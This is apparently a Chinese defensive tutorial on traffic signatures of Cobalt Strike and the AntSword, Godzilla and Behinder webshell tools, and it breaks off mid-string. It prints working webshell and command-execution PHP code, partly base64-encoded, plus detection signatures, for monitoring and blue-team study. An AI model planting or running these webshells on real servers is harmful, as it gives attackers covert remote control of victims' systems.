0x01 前言
本篇文章为各位师傅总结了一些当下流行的Webshell远程工具及其中的流量分析,方便在平时监测、hvv、攻防演练中进行及时发现、阻拦回溯等、在某些比赛上可能也会有类似的流量分析题目,根据工具的一些流量特征进行说明,其中会附带一些常见的面试题,当然了,面试题基本是主观题,一人一个说法,仅供参考
工具: C2/CobaltStrike
工具: Webshell/蚁剑
工具: Webshell/哥斯拉
工具: Webshell/冰蝎
冰蝎2&冰蝎3&冰蝎4
* 文章仅供参考、主观题仅为个人观点,不做为固定答案
0x02 流量分析
CobaltStrike
1. 工具概述
先来了解一下"CobaltStrike"是什么,C2又是什么?通俗的来讲:"CobaltStrike"又被称为CS,是一款黑客常用的远控工具,可以做很多的攻击操作,也被称为客户端,C2就是中间所用到的远控服务器,又被称为服务端,服务端可以是一个,而客户端可以是多个,所以CS也被称为团队协同作战,深受红队佬们的喜爱
正常情况下来讲,基本流量走向如下图,此处不演示其他安全设备
有关于CS工具的基础使用教程和介绍可以参考我之前写的文章↓
2. 流量过程
由于DNS所需配置较多,此处不进行演示,有需要阅读DNS beacon相关知识的师傅,可自行搜索
首先就是我们本地生成了一个stage.exe文件,没免杀的情况下先把杀软关掉,主要是分析流量
CS客户端: 192.168.150.7
C2服务端: 192.168.150.2
被控主机: 192.168.150.1
此处我在客户端向服务端开启了一个5000的监听端口,被控主机上线后,所有操作(心跳包、请求返回)都会到C2的5000端口,然后在转发给我们客户端
当触发exe文件后,会自动上线至CS,即为被控端->C2:5000->CS的概念,我们此时抓取流量包,当第一个请求时,exe会下载payload,以 http 协议从指定服务器端口下载
然后接着就是HTTP后续请求的URL不唯一,但是会遵循checksum8 规则,这里有一个程序去验证,通过此方法验证木马是32位还是64位(流量特征未魔改的前提下)
public class EchoTest {
public static long checksum8(String text) {
if (text.length() < 4) {
return 0L;
}
text = text.replace("/", "");
long sum = 0L;
for (int x = 0; x < text.length(); x++) {
sum += text.charAt(x);
}
return sum % 256L;
}
public static void main(String[] args) throws Exception {
// 我们此处请求的URL为rWDP
System.out.println(checksum8("rWDP"));
}
}
接着往下看特征,正常情况下,CS默认发送心跳包是每60秒一次,主要是验证主机是否在线,即为向CS服务端发送http请求,cookie中携带了被控端信息
接着就是过程传输特征,当攻击者从客户端发送命令,如ipconfig时,命令会被放入到流量包中,因为流量被加密了,这时候我们借助工具进行解密及查看明文
我们可以使用工具配合key文件去拿到私钥的,在这之前,我看到雨神写的文章中提供的工具,拿工具可以直接解密出他的私钥,无需携带其它参数,但是换个其它的加密信息就不行了,不确定是否工具内已经包含了他的key文件内容
工具:
https://blog.didierstevens.com/2021/10/22/new-tool-cs-decrypt-metadata-py/
然后key文件在服务端的目录下,名为: .cobaltstrike.beacon_keys
我们直接使用上方工具拿到了私钥,接着可以使用私钥去查看传输过程中的明文(注意,实战中防守方是没有key文件的)
其实还有个方法,但是我这里没有复现成功,下方工具
https://github.com/minhangxiaohui/CSthing/tree/master/1768_v0_0_8
在使用此工具之前,我们需要先将触发上线后的第一条http请求导出进行查看
一开始也说了,当第一个请求时,exe会下载payload,以 http 协议从指定服务器下载 ,这个包内包含了向服务端的基本信息
使用 -V参数即为verbose,但是我也试了,并没有私钥,只有公钥,不确定是不是和CS版本有关
通过使用工具:cs-parse-http-traffic 我们携带私钥对流量包过滤了http流量,解密出执行的命令和回显结果明文
https://github.com/DidierStevens/Beta/blob/master/cs-parse-http-traffic.py
相较于http协议,https协议在无魔改的情况下,只增加了TLS流量加密,其它行为特征基本差不多
3. 流量特征
Q1. http请求中URL的不规则性,且一般GET偏多(除下发命令外,心跳包GET请求不规则URL)可参考上方checksum8说明,然后cookie中带有RSA加密的信息
Q2. 老版本中的user-agent固定不变,而新版本中的user-agent每次都会变化
Q3. 在正常情况下,心跳包是GET请求且时间有规律性(无魔改),可以通过心跳包简单判断,而在执行命令时,回传会有POST传参,且数据包内有内容,并且以submit.php?id=xxxxx结尾
Q4. 在HTTPS协议中,默认情况下使用空证书建立通信,当怀疑是否为CS时,可以复现流量过程中使用1768.py进行拆解流量包
Q5. ja3/ja3s特征,在进行https握手通信阶段时,server hello包内会有JA3/JA3S字段,这个和版本、系统、CS版本有关,无法通过文件去修改(profile)
Q6. 在C2服务器中,默认情况下开启端口为50050,这个端口是CS客户端用来连接互通的,如果拿到了地址后,可以相对进行溯源反制等(端口可以在teamserver进行修改,只作为辅助参考)
当然,我们还需要注意的是,排除以上http/https/DNS特征之外,我们还需要注意,在实战攻防中,攻击者可能还会使用包括不限于:云函数、CDN、替换伪造证书、魔改等方式进行流量混淆,隐藏IP等,由于工具的特性,最主要是防钓鱼以及对业务系统漏洞的周期性排查,此工具涉及的知识挺多,不在一一叙述,题外话,在之前使用CS对已有的安全设备流量监测/CSP设备进行测试,发现启明星辰的CSP确实在这一点上挺好用的,监测及时,其它设备上对于WEB相关异常流量也不逊色,当初CS测试的图暂时找不到了,补一张其它工具的
4. 面试题
CS的流量特征?
答: 心跳包默认60秒,默认端口50050,随机或固定的UA根据版本判断,0.0.0.0是DNS beacon默认特征
可以根据URL判断,根据初次下载payload的请求,遵循checksum8原则计算,当结果为92或93时,CS无魔改
使用工具解密心跳流量,具体工具步骤见上
关于https中,去查看同一系统下ja3及ja3s值是否一致判定
DNS隧道技术来传输数据,在DNS请求中,域名可能以特定前缀开头(如“cdn.”、“www6.”、“api.”等),查询结果可能包含非常规的IP地址,这些地址用于指令传输或心跳检测
对于而开的C2可提取样本分析
蚁剑/AntSword
1. 工具概述
蚁剑并不陌生,一款傻瓜式上手快的Webshell工具,还记得当初第一次听到的菜刀,后来用的蚁剑,菜刀和蚁剑的流量传输过程相似,但是现在菜刀特征太明显了,而且慢慢退幕了的感觉
配合一句话木马连接后可以做很多可视化操作,我们本次主要看一下流量和特征,本地做代理到burp suite,也是在本地用PHP study进行一句话木马操作
玄机平台有相关题目,有账号的师傅可以进行体验,邀请码下次会继续发
2. 流量过程
此处我们使用一句话木马,POST传参的方式,密码为cmd进行连接
先是明文传输(default)进行连接并执行操作,查看并理解其中程序及返回
我们在点击了测试连接后,客户端返回连接成功,查看到返回包中第一个先是shell.php的文件目录,然后就是主机信息,cmd就是所谓的密码,也就是执行的数值以cmd参数进行传输,请求包被url编码了,我们先行解码,看看怎么个事
// 设置 PHP 错误处理选项,禁止显示错误
@ini_set("display_errors", "0");
// 设置 PHP 执行时间限制为无限制
@set_time_limit(0);
// 获取当前 PHP 配置中的 open_basedir 选项
$opdir = @ini_get("open_basedir");
// 如果存在 open_basedir 限制
if ($opdir) {
// 获取当前脚本所在目录
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
// 将 open_basedir 选项按分号或冒号分割成数组
$oparr = preg_split("/;|:/", $opdir);
// 将当前目录以及系统临时目录添加到 oparr 数组中
@array_push($oparr, $ocwd, sys_get_temp_dir());
// 遍历 oparr 数组
foreach ($oparr as $item) {
// 如果当前项不可写,则继续下一项
if (!@is_writable($item)) {
continue;
}
// 构建一个临时目录路径
$tmdir = $item . "/.19f4c";
// 创建临时目录
@mkdir($tmdir);
// 如果创建失败,则继续下一项
if (!@file_exists($tmdir)) {
continue;
}
// 尝试进入临时目录并修改 open_basedir 选项
@chdir($tmdir);
@ini_set("open_basedir", "..");
// 返回上级目录直到恢复正常的 open_basedir 设置
$cntarr = @preg_split("/\\\\|\//", $tmdir);
for ($i = 0; $i < sizeof($cntarr); $i++) {
@chdir("..");
}
// 恢复 open_basedir 设置为默认
@ini_set("open_basedir", "/");
// 删除临时目录
@rmdir($tmdir);
// 结束循环
break;
}
}
// 定义一个加密函数
function asenc($out) {
return $out;
}
// 定义一个输出函数
function asoutput() {
// 获取输出缓冲区内容并清空缓冲区
$output = ob_get_contents();
ob_end_clean();
// 输出加密前缀
echo "c072" . "4a7f9";
// 输出经过加密函数加密后的内容
echo @asenc($output);
// 输出加密后缀
echo "a54ec" . "40fa8";
}
// 开始输出缓冲区
ob_start();
// 尝试执行以下代码块
try {
// 获取当前脚本所在目录
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
// 如果为空,则尝试使用 PATH_TRANSLATED 获取当前脚本所在目录
if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
// 初始化返回结果字符串
$R = "{$D} ";
// 如果目录路径不是绝对路径,则尝试获取其他盘符
if (substr($D, 0, 1) != "/") {
foreach (range("C", "Z") as $L) {
if (is_dir("{$L}:")) $R .= "{$L}:";
}
} else {
$R .= "/";
}
// 添加一个制表符
$R .= " ";
// 获取当前用户信息
$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
$s = ($u) ? $u["name"] : @get_current_user();
// 获取系统信息,并添加到结果字符串中
$R .= php_uname();
$R .= " {$s}";
// 输出结果字符串
echo $R;
} catch (Exception $e) {
// 如果执行过程中发生异常,则输出错误信息
echo "ERROR://" . $e->getMessage();
}
// 调用输出函数并结束脚本执行
asoutput();
die();
以上是在尝试连接时,蚁剑对于系统的一个连接测试请求,我们在命令行输入whoami后,再次查看数据请求
往下看,此请求包中程序定义了一个参数为'teb080cc3b241b',我们复制其中的值去掉前两位pj进行base64解码
可以看到它中间执行的命令,whoami在中间被执行
在默认明文传输过程中,执行命令和连接请求差异就是定义的命令和执行的参数不同,而上方的代码是不做修改的
很明显的特征就是每次请求总会以 'ini_set'和'set_time_limit'开始,每次返回响应包都是明文
接着就是看base64编码解码器,就是在传输过程中,传输的数值被进行了base64编码,返回的数值也是如此
在以上请求中,我们仍然发送了一个测试请求,不同的是,程序先是使用eval函数进行解码了一个参数名为"ha23ebf7d050f6"其中的数据,后面就是原始数据了,我们对于程序进行了格式化后看到,对比明文数据,就是对传输数据做了一个base64编码操作,其它未修改
我们继续命令行发送whoami命令,看到下面的base64编码,去除前两位就是whoami,我们对返回内容,去掉等于号后面的数字,和base64前面的数字可以得到明文数据
这里前后的数字是因为在传输之前,程序定义好的,也可以理解为唯一性校验
再来看其它默认的一些编码器,如chr和rot13等,比如我们现在用的是PHP语言,那么它的编码所用程序一般在 antSword\source\core\php\encoder目录下
在第17行中我们可以看到chr的大小写有变化,我们通过测试流量也可以看到确实是根据规则进行的
而rot13就是对原字符向前或向后移动13位,两次移动后就是原文
编码和解码器编写此处不在过多叙述,可以参考一下麋鹿师傅的文章
经过rot13转码后看着是杂乱无章的字母,在经过返回时使用str_rot13函数进行转回来就是原文
echo $zhou=str_rot13("Zhoudi");
echo "<br>";
echo $zhou;
echo "<br>";
echo str_rot13($zhou);
3. 流量特征
在这之前我们需要先了解一下蚁剑的魔改,一般魔改流量都是在编码和解码器进行的,这是基于内容进行传输的,主要绕过WAF和其它安全设备,上方麋鹿师傅已经写过了,很详细
其次就是在一般的传输过程中,user-agent,包内的定界随机数(上面说的唯一值校验),0x_开头等
Q1. 随机的UA头或固定的UA头
在一些版本中有明显的AntSword/xxx之类的UA头,但是现在新版本好像没了,然后明显的是在默认情况下,UA头同一IP每次请求的UA不一样,一直在变化
但是这个配置在中时,可以编辑需要的UA,或者在modules/request.js和update.js修改
然后就是在可视化页面中,编辑里面修改UA,但是这个只针对当前的攻击目标
所以Q1一般可以作为辅助条件进行判定,假设攻击者修改了正常UA,就需要其它条件判断
Q2. 正常情况下总是以POST方式传参,并返回shell路径
Q3. 都存在"@ini_set("display_errors", "0");@set_time_limit(0);",base64情况下是"QGluaV9zZXQ"(eval),在chr情况下"cHr(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116)",在rot13的情况下"@vav_frg”
Q4. 相应内容中包含随机数,这个我自己理解为唯一性标识,每次请求时响应内容前后会有随机数
Q5. 规律性的参数开头,比如有些有些加密流量可能看不出什么,但是有些混淆流量大多参数以0x_...或_0x之类的开头,或以其它方式开头,自行判断
Q6. 随机前缀长度和垃圾字符填充,和绕过安全设备有关,这里也可以参考一下
4. 面试题
蚁剑的特征:
支持自定义加密,但shell不稳定,且对JSP兼容性比较差
特征码为data:("display_errors" AND "set_time_limit(0)")
agent:"antSword/v2.0或动态UA
不同语言的特征:
Php:assert、eval关键词执行
Asp:eval在jsp中使用
Java:同时会带有base64编码解码等字符特征
哥斯拉/Godzilla
1. 工具概述
哥斯拉的工具作者是: BeichenDream大佬,据说目前在三百六任职,大佬的往期事迹可自行搜索,此工具与2020年开发,初代代码一万多行,与其它早期Webshell工具相比,不同的是,此工具可兼容多种后渗透插件,轻便且自带多种加密方式,支持ASP、JSP、PHP等语言,我们此次依然是以PHP为例,工具版本为最新版4.0.1复现,代理至本地以burp suite查看
2. 流量过程
首先,我们还是用原来的一句话木马,选择默认选项并点击测试,不同其它工具的是,哥斯拉的流量发送测试包后会出现3个包,失败的情况下是2个包,先使用加密器EVAL_XOR_BASE64测试
在第一个数据包中,明显的是没有cookie,并发送了大量的数据,然后响应包中无响应内容
在第二个包中可以看到,原先的响应包内cookie在第二个请求包中存在了,且响应内容不为空
接着往后看,我选择了进入系统,后面发送了几个请求包,看似是base64,实则进行了XOR加密
接着就是解密阶段,解密有脚本的,下方链接直达
https://github.com/nocultrue/Deco_Godzilla
先说原理: 因为我们已经知道,哥斯拉在第一个数据包会发送大量的数据,这个是预先要定义设置的函数,后续将使用相关的函数方法进行操作,而密码和key是由客户端选择生成的,但是在传输过程中会看到,看请求包,密码是cmd,key则是aizhou
上图中,程序通过cmd(密码)先进行url解码,然后反转字符串再进行base64解码,key是aizhou,这样看就明显了吧,然后我们尝试解密解码
eval(base64_decode(strrev(urldecode('K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSZ3MWM0AzN2MTN2IzNzQTOn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSdvhmepF2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD'))));
取出上方base64字符先反转
DQpAc2Vzc2lvbl9zdGFydCgpOw0KQHNldF90aW1lX2xpbWl0KDApOw0KQGVycm9yX3JlcG9ydGluZygwKTsNCmZ1bmN0aW9uIGVuY29kZSgkRCwkSyl7DQogICAgZm9yKCRpPTA7JGk8c3RybGVuKCREKTskaSsrKSB7DQogICAgICAgICRjID0gJEtbJGkrMSYxNV07DQogICAgICAgICREWyRpXSA9ICREWyRpXV4kYzsNCiAgICB9DQogICAgcmV0dXJuICREOw0KfQ0KJHBhc3M9J2FpemhvdSc7DQokcGF5bG9hZE5hbWU9J3BheWxvYWQnOw0KJGtleT0nOTQzNzI2NTM2NzA0MWM3ZSc7DQppZiAoaXNzZXQoJF9QT1NUWyRwYXNzXSkpew0KICAgICRkYXRhPWVuY29kZShiYXNlNjRfZGVjb2RlKCRfUE9TVFskcGFzc10pLCRrZXkpOw0KICAgIGlmIChpc3NldCgkX1NFU1NJT05bJHBheWxvYWROYW1lXSkpew0KICAgICAgICAkcGF5bG9hZD1lbmNvZGUoJF9TRVNTSU9OWyRwYXlsb2FkTmFtZV0sJGtleSk7DQogICAgICAgIGlmIChzdHJwb3MoJHBheWxvYWQsImdldEJhc2ljc0luZm8iKT09PWZhbHNlKXsNCiAgICAgICAgICAgICRwYXlsb2FkPWVuY29kZSgkcGF5bG9hZCwka2V5KTsNCiAgICAgICAgfQ0KCQlldmFsKCRwYXlsb2FkKTsNCiAgICAgICAgZWNobyBzdWJzdHIobWQ1KCRwYXNzLiRrZXkpLDAsMTYpOw0KICAgICAgICBlY2hvIGJhc2U2NF9lbmNvZGUoZW5jb2RlKEBydW4oJGRhdGEpLCRrZXkpKTsNCiAgICAgICAgZWNobyBzdWJzdHIobWQ1KCRwYXNzLiRrZXkpLDE2KTsNCiAgICB9ZWxzZXsNCiAgICAgICAgaWYgKHN0cnBvcygkZGF0YSwiZ2V0QmFzaWNzSW5mbyIpIT09ZmFsc2Upew0KICAgICAgICAgICAgJF9TRVNTSU9OWyRwYXlsb2FkTmFtZV09ZW5jb2RlKCRkYXRhLCRrZXkpOw0KICAgICAgICB9DQogICAgfQ0KfQ0K
反转后数据进行base64解码
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='aizhou';
$payloadName='payload';
$key='9437265367041c7e';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
得到了密钥和大致原理后,我们可以拿其中执行命令的数据包使用工具进行解密了,请求包看到命令执行,调用了execCommand
响应包中我们可以看到回显了当前用户
除此之外,还有XOR_ROW和XOR_BASE64,需要客户端去生成shell,我们可以在本地看到key信息,与之前不同的是,PHP_XOR_RAW是通过php://input接收传输的直接传输二进制数据
而XOR_BASE64则是通过被加密的数据后,再进行base64编码,此处对于base64观察
还是老样子,第一个请求包无cookie,发送了大量配置信息,响应包无响应内容,生成了session
第二三个包则是一样的了,主要是发送测试信息,我们还是可以在本地看到key
使用key和上方工具进行解密即可,工具也可以解密RAW包,但是我这里没去试,需要转16进制
有关于PHP暂时叙述这些,以上是运行过程中的流程,当然其中的一些操作,比如文件上传,文件下载等操作,在流量中的一些特征以及调用的函数可以自行复现测试,安全设备也是依靠特征去判定的
3. 流量特征
首先,这是默认情况下原版的特征,未对加密改动的情况下特征,因为作者早已不更新了,外面出了很多二开版本,对加密增加了,对流量混淆了,对前有的特征进行消除等都可能,不作为二开版本分析依据
Q1. 强特征,链接失败情况下2个流量包,成功为3个流量包
Q2. 第一个请求总会发送大量数据,这是配置信息,且请求包内无cookie,服务器响应包无内容,生成一个session,后续请求会带上此session到请求包中的cookie中
Q3. 强特征,这个不晓得作者是不是忘了去除了,生成的cookie后面有个分号
Q4. UA可能为jdk版本号,哥斯拉可以修改UA,起码我下载的新版中没有这个特征,弱特征,可以做为辅助验证
Q5. Accept字段: Accept:text/html, image/gif, image/jpeg, *; q=.2, /; q=.2 我下载的版本是:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 同样作为弱特征,容易去除
Q6. 响应内容中,哥斯拉会把32位的MD5拆分2部分放在base64前后,RAW加密器除外,也可以作为特征之一
Q7. 请求体内容,较强特征,此检测方法较特殊,排除我们第一个复现的PHP_EVAL_XOR_BASE64特征较强之外,其它特征在判断时,安全设备误报率较高,因为需要key通信,安全设备无法进行解密,这个需要人为自行判定并溯源至源文件
4. 面试题
1. 哥斯拉工具有没有了解过
按照自我认知进行回答,如上方简要概述其中部分内容
如上方复现其中部分过程
2. 哥斯拉了解吗,讲讲原理
先进行理论回答,选出其中一部分代码进行大概回答通信过程
如PHP_EVAL_XOR_BASE64通信过程,如何解密等
3. 哥斯拉的特征
按照上方特征内容进行回答即可
冰蝎/Behinde
1. 工具概述
冰蝎这个工具太不陌生了,工具更新自我感觉较为频繁,大版本更新特征都会去除或变化,这才是压轴出场的,由于之前的一些Webshell工具流量容易被检测,被安全工具拦截,所以冰蝎的出现给通信流量监测带来的威胁也不小,交互流量对称加密,密钥动态生成(前期版本),不容易被监测,此处我们对2.0、3.0、4.0版本进行流量分析及特征分析
2. 流量过程
先说冰蝎2.0,我是用的jdk8环境打开的,更高版本启动报错,尝试复现测试的师傅可以试着开启虚拟机进行jdk降级测试
2.0版本和1.0版本差不多,密钥为动态生成,我们看一下下方代码
@error_reporting(0);
session_start();
// 检查是否传递了名为 "pass" 的 GET 参数
if (isset($_GET['pass'])) {
// 生成一个随机的密钥
$key = substr(md5(uniqid(rand())), 16);
// 将密钥存储在会话变量中
$_SESSION['k'] = $key;
// 打印出生成的密钥
print $key;
} else {
// 如果未传递 "pass" 参数,则获取存储在会话中的密钥
$key = $_SESSION['k'];
// 从 HTTP 请求的主体中获取数据
$post = file_get_contents("php://input");
// 检查是否加载了 OpenSSL 扩展
if (!extension_loaded('openssl')) {
// 如果没有加载 OpenSSL 扩展,则使用基于 base64 的简单加密解密方法
// 使用位运算对数据进行简单的异或操作
$t = "base64_" . "decode"; // 解码函数
$post = $t($post . ""); // 执行解码操作
// 对解码后的数据进行异或解密操作
for ($i = 0; $i < strlen($post); $i++) {
$post[$i] = $post[$i] ^ $key[$i + 1 & 15]; // 异或操作
}
} else {
// 如果加载了 OpenSSL 扩展,则使用 AES128 解密算法进行解密
$post = openssl_decrypt($post, "AES128", $key);
}
// 将解密后的数据按 "|" 进行分割,得到函数名和参数
$arr = explode('|', $post);
$func = $arr[0]; // 获取函数名
$params = $arr[1]; // 获取参数
// 创建一个类 C,其中包含 __invoke 方法,用于调用传递的函数和参数
class C {
public function __invoke($p) {
// 使用 eval 函数执行传递的函数代码
eval($p . "");
}
}
// 使用 call_user_func 函数调用类 C 的实例,并传递参数
@call_user_func(new C(), $params);
}
此处的动态密钥生成过程是GET方式接收一个参数,这里是pass也是默认,在冰蝎2.0版本中,工具默认会在参数后随机放3位数字:pass=xxx,接着使用uniqid生成唯一标识符,然后rand生成一个随机数,接着MD5进行哈希处理,使用substr进行截取前16位作为密钥,存放在session中
此时我这里使用2.0版本进行请求,抓包看到发送2次请求,第一次请求生成了一个密钥生成后放入session,此密钥不做为后期利用,只是绑定会话使用,识别客户端
接着是第二次请求,生成一个密钥,放入session,这次请求将密钥作为后期利用,我们可以看到后面请求包从GET变为了POST且最后一次GET中响应包的session在后面POST请求包cookie中做了绑定
通过代码释义加大概流量流程,可以根据下图理解
我们已知了最后一次请求的密钥为"828d67f14cbbee68",这个可以通过session去寻找的,因为是绑定的,然后执行whoami命令,拿密钥去AES解密,模式选择CBC(PHPshell)
assert|eval(base64_decode('QGVycm9yX3JlcG9ydGluZygwKTsNCg0KZnVuY3Rpb24gZ2V0U2FmZVN0cigkc3RyKXsNCiAgICAkczEgPSBpY29udigndXRmLTgnLCdnYmsvL0lHTk9SRScsJHN0cik7DQogICAgJHMwID0gaWNvbnYoJ2diaycsJ3V0Zi04Ly9JR05PUkUnLCRzMSk7DQogICAgaWYoJHMwID09ICRzdHIpew0KICAgICAgICByZXR1cm4gJHMwOw0KICAgIH1lbHNlew0KICAgICAgICByZXR1cm4gaWNvbnYoJ2diaycsJ3V0Zi04Ly9JR05PUkUnLCRzdHIpOw0KICAgIH0NCn0NCmZ1bmN0aW9uIG1haW4oJGNtZCkNCnsNCiAgICBAc2V0X3RpbWVfbGltaXQoMCk7DQogICAgQGlnbm9yZV91c2VyX2Fib3J0KDEpOw0KICAgIEBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLCAwKTsNCiAgICAkcmVzdWx0ID0gYXJyYXkoKTsNCiAgICAkUGFkdEpuID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQogICAgaWYgKCEgZW1wdHkoJFBhZHRKbikpIHsNCiAgICAgICAgJFBhZHRKbiA9IHByZWdfcmVwbGFjZSgnL1ssIF0rLycsICcsJywgJFBhZHRKbik7DQogICAgICAgICRQYWR0Sm4gPSBleHBsb2RlKCcsJywgJFBhZHRKbik7DQogICAgICAgICRQYWR0Sm4gPSBhcnJheV9tYXAoJ3RyaW0nLCAkUGFkdEpuKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkUGFkdEpuID0gYXJyYXkoKTsNCiAgICB9DQogICAgJGMgPSAkY21kOw0KICAgIGlmIChGQUxTRSAhPT0gc3RycG9zKHN0cnRvbG93ZXIoUEhQX09TKSwgJ3dpbicpKSB7DQogICAgICAgICRjID0gJGMgLiAiIDI+JjFcbiI7DQogICAgfQ0KICAgICRKdWVRREJIID0gJ2lzX2NhbGxhYmxlJzsNCiAgICAkQnZjZSA9ICdpbl9hcnJheSc7DQogICAgaWYgKCRKdWVRREJIKCdzeXN0ZW0nKSBhbmQgISAkQnZjZSgnc3lzdGVtJywgJFBhZHRKbikpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgc3lzdGVtKCRjKTsNCiAgICAgICAgJGtXSlcgPSBvYl9nZXRfY29udGVudHMoKTsNCiAgICAgICAgb2JfZW5kX2NsZWFuKCk7DQogICAgfSBlbHNlIGlmICgkSnVlUURCSCgncHJvY19vcGVuJykgYW5kICEgJEJ2Y2UoJ3Byb2Nfb3BlbicsICRQYWR0Sm4pKSB7DQogICAgICAgICRoYW5kbGUgPSBwcm9jX29wZW4oJGMsIGFycmF5KA0KICAgICAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAgICAgJ3BpcGUnLA0KICAgICAgICAgICAgICAgICdyJw0KICAgICAgICAgICAgKSwNCiAgICAgICAgICAgIGFycmF5KA0KICAgICAgICAgICAgICAgICdwaXBlJywNCiAgICAgICAgICAgICAgICAndycNCiAgICAgICAgICAgICksDQogICAgICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICAgICAncGlwZScsDQogICAgICAgICAgICAgICAgJ3cnDQogICAgICAgICAgICApDQogICAgICAgICksICRwaXBlcyk7DQogICAgICAgICRrV0pXID0gTlVMTDsNCiAgICAgICAgd2hpbGUgKCEgZmVvZigkcGlwZXNbMV0pKSB7DQogICAgICAgICAgICAka1dKVyAuPSBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KICAgICAgICB9DQogICAgICAgIEBwcm9jX2Nsb3NlKCRoYW5kbGUpOw0KICAgIH0gZWxzZSBpZiAoJEp1ZVFEQkgoJ3Bhc3N0aHJ1JykgYW5kICEgJEJ2Y2UoJ3Bhc3N0aHJ1JywgJFBhZHRKbikpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgcGFzc3RocnUoJGMpOw0KICAgICAgICAka1dKVyA9IG9iX2dldF9jb250ZW50cygpOw0KICAgICAgICBvYl9lbmRfY2xlYW4oKTsNCiAgICB9IGVsc2UgaWYgKCRKdWVRREJIKCdzaGVsbF9leGVjJykgYW5kICEgJEJ2Y2UoJ3NoZWxsX2V4ZWMnLCAkUGFkdEpuKSkgew0KICAgICAgICAka1dKVyA9IHNoZWxsX2V4ZWMoJGMpOw0KICAgIH0gZWxzZSBpZiAoJEp1ZVFEQkgoJ2V4ZWMnKSBhbmQgISAkQnZjZSgnZXhlYycsICRQYWR0Sm4pKSB7DQogICAgICAgICRrV0pXID0gYXJyYXkoKTsNCiAgICAgICAgZXhlYygkYywgJGtXSlcpOw0KICAgICAgICAka1dKVyA9IGpvaW4oY2hyKDEwKSwgJGtXSlcpIC4gY2hyKDEwKTsNCiAgICB9IGVsc2UgaWYgKCRKdWVRREJIKCdleGVjJykgYW5kICEgJEJ2Y2UoJ3BvcGVuJywgJFBhZHRKbikpIHsNCiAgICAgICAgJGZwID0gcG9wZW4oJGMsICdyJyk7DQogICAgICAgICRrV0pXID0gTlVMTDsNCiAgICAgICAgaWYgKGlzX3Jlc291cmNlKCRmcCkpIHsNCiAgICAgICAgICAgIHdoaWxlICghIGZlb2YoJGZwKSkgew0KICAgICAgICAgICAgICAgICRrV0pXIC49IGZyZWFkKCRmcCwgMTAyNCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgQHBjbG9zZSgkZnApOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRrV0pXID0gMDsNCiAgICAgICAgJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJmYWlsIik7DQogICAgICAgICRyZXN1bHRbIm1zZyJdID0gYmFzZTY0X2VuY29kZSgibm9uZSBvZiBwcm9jX29wZW4vcGFzc3RocnUvc2hlbGxfZXhlYy9leGVjL2V4ZWMgaXMgYXZhaWxhYmxlIik7DQogICAgICAgICRrZXkgPSAkX1NFU1NJT05bJ2snXTsNCiAgICAgICAgZWNobyBlbmNyeXB0KGpzb25fZW5jb2RlKCRyZXN1bHQpL